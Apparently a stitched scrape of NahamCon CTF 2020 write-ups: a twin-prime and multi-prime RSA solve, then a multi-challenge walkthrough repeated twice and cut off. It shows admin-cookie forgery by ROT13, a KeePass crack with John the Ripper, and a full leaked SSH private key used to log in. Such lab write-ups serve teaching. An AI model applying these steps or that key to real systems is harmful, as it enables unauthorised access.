The essence of this formula is that it's able to factorize the factor of two primes `p` and `q` when `p` and `q` are consecutive (twin primes) or at least very close. The way I came up with this formula was when trying to find some way to apply the conjugate rule backwards in order to factorize `n`. I was somewhat successful, however it does diminish in accuracy quite gravely the futher away `p` and `q` are from eachother. Do note that `m` does NOT refer to the variable `m` in RSA, it is merely an intermediete variable to make the math a little more elegant. I guess you could say it's a very fancy way of doing the square root of `n`, and is pretty much useless in any practical contexts. (Though if any math geeks know a way to improve it to have accuracy across a wider range of primes, please let me know)
Anyhow, we can write this formula as a python script:
```python
def factor(n): sqrt=n**0.5 m=(int(sqrt+1)**2-n)**0.5 return [int(int(sqrt)-m+1),int(int(sqrt)+m+1)]
while True: n = int(input("Enter n:")) print(factor(n))
```
Using this program we can factor `n`:
```Enter n:7136206991423[2671367, 2671369]```
We can multiply `p` and `q` together to check, and sure enough, `2671367 * 2671369 = 7136206991423`.
Now let's get to decrypting. Here's a python script to do that:
```pythondef egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = 2671367q = 2671369ct = 4647953841890e = 65537phi = (p - 1) * (q - 1)d = modinv(e, phi)m = pow(ct, d, p * q)print(m)```Running the script gives us that the PIN is `4565`, and sure enough, entering the PIN gives us the flag:
```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,7136206991423)The Encrypted PIN is 4647953841890What is the PIN?4565Good job you won!flag{thats_the_twinning_pin_to_win}``` |
We're given RSA values for n, e, and ct:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```
[factordb](http://factordb.com/) fully factorizes n. However, it's not just a standard p*q (i.e. two prime) result (as the challenge descrption hints at)
In python:
```# pip3.8 install factordb-pycli>>> from factordb.factordb import FactorDB>>>>>> def check_factordb(N):... factorized = FactorDB(N)... factorized.connect()... factor_list = factorized.get_factor_list()... print(factor_list)... return factor_list...>>> a = check_factordb(7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317)[2208664111, 2214452749, 2259012491, 2265830453, 2372942981, 2393757139, 2465499073, 2508863309, 2543358889, 2589229021, 2642723827, 2758626487, 2850808189, 2947867051, 2982067987, 3130932919, 3290718047, 3510442297, 3600488797, 3644712913, 3650456981, 3726115171, 3750978137, 3789130951, 3810149963, 3979951739, 4033877203, 4128271747, 4162800959, 4205130337, 4221911101, 4268160257]>>> len(a)32```
There's 32 prime factors! So we need to then do RSA with each of these values as a prime.
In order to calculate phi, we must now do:
```phi = (prime0 - 1) * (prime1 - 1) * ... * (prime31 - 0)```
In java:
``` BigInteger phi = new BigInteger("1"); for (int i=0; i |
Connecting to the remote endpoint just spews a bunch of text in a constant stream. Based on challenge description, flag must be in there at some point, but would be impossible to catch with your eyes.
Redirect nc output to a file for a few seconds, and then grep for flag. If matches, open and ctrl+f for `flag{`, else, extend nc+grep time.
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#vortex) |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
